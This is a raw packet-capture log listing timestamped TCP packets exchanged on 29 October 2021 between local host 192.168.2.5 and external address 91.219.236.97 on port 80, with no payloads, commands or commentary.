Oct 29, 2021 20:11:25.581015110 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.581026077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.581084013 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.581110001 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.581645012 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.581671953 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.581686020 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.581696987 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.581768036 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.597984076 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598032951 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598053932 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598076105 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598095894 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598099947 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598123074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598145962 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598150015 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598170042 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598185062 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598192930 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598215103 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598217010 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598246098 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598263025 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598272085 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598292112 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598310947 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598316908 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598339081 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598356009 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598361969 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598387003 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598400116 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598411083 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598436117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598448992 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598460913 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598485947 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598498106 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598505974 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598522902 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598547935 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598551989 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598572016 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598591089 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598598003 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598623037 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598637104 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.598643064 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.598681927 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.614728928 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614763021 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614784956 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614809036 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614833117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614830971 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.614855051 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614861965 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.614871025 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.614907980 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626266003 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626307964 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626334906 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626352072 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626363039 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626389980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626399040 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626427889 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626440048 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626468897 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626509905 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626516104 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626539946 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626565933 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626580000 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626591921 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626619101 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626631975 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626646996 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626673937 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626684904 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626713037 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626751900 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626754999 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626791954 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626832962 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626832962 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626862049 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626889944 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626900911 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626916885 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626945019 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626957893 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.626972914 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.626998901 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627012968 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.627022982 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627051115 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627062082 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.627075911 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627103090 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627114058 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.627120018 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627159119 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.627938986 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.627971888 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.628000021 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.628019094 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.628019094 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.628076077 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.649179935 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649214983 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649229050 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649247885 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649260998 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649276018 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649291992 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.649367094 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661288023 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661324978 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661344051 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661361933 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661385059 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661398888 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661406994 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661406994 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661420107 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661429882 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661437988 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661442995 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661453009 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661464930 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661478043 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661482096 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661490917 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661506891 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661520958 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661524057 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661540031 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661549091 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.661551952 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.661587954 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.713500023 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713541985 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713566065 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713589907 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713613033 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713637114 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713637114 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.713654995 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713679075 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713686943 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.713702917 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713723898 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.713727951 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713752985 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713778019 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.713783979 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713809013 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713819981 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.713824987 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.713866949 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719342947 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719384909 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719408989 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719434023 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719456911 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719480038 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719497919 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719521999 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719546080 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719552040 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719571114 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719594002 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719594955 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719618082 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719626904 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719644070 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719657898 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719666958 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719692945 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719716072 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719718933 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719739914 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719762087 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719764948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719788074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719805002 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719810963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719835997 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719847918 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719860077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719885111 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719898939 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719907999 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719932079 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719943047 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.719958067 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.719983101 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720004082 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720007896 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720032930 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720057964 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720060110 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720084906 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720093966 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720108032 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720133066 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720150948 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720158100 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720182896 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720197916 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720843077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720890045 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720915079 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720935106 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720938921 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720957994 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.720963955 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.720988035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.721007109 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.721010923 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.721060038 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.721560001 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.721590996 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.721668959 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.729836941 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.729870081 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.729892969 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.729916096 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.729928970 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.729940891 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.729959965 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.729964018 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.729980946 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730000973 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730004072 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730029106 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730041027 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730052948 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730077028 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730089903 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730099916 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730123043 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730134964 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730146885 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730170965 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730173111 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730186939 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730192900 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730216980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730225086 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730238914 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730262041 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730285883 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730309010 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730319023 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730328083 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730346918 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.730360031 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.730395079 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.731132030 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.739614964 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.751471996 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.751507044 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.751526117 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.751543045 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.751560926 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.751583099 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.758490086 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.758518934 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.758543015 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.758554935 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.758558035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.758582115 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.759803057 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759829044 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759851933 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759871960 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.759875059 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759886026 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.759898901 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759922981 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759938955 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.759939909 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759963036 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.759979010 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.759987116 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760010958 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760020971 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.760026932 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760076046 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.760340929 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760365963 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760387897 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760405064 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.760406017 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.760447979 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.761548042 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761574030 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761598110 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761614084 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761647940 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.761648893 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761672974 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761677980 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.761697054 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761712074 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.761713028 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.761764050 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.783030987 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.783066034 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.783085108 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.783099890 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.783148050 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.783179998 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.827590942 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827641964 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827683926 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827723980 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827729940 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.827761889 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827775002 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.827800035 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827828884 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827852011 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.827866077 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827903986 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827919006 CEST	49847	80	192.168.2.5	91.219.236.97
Oct 29, 2021 20:11:25.827940941 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827980042 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:11:25.827986002 CEST	49847	80	192.168.2.5	91.219.236.97
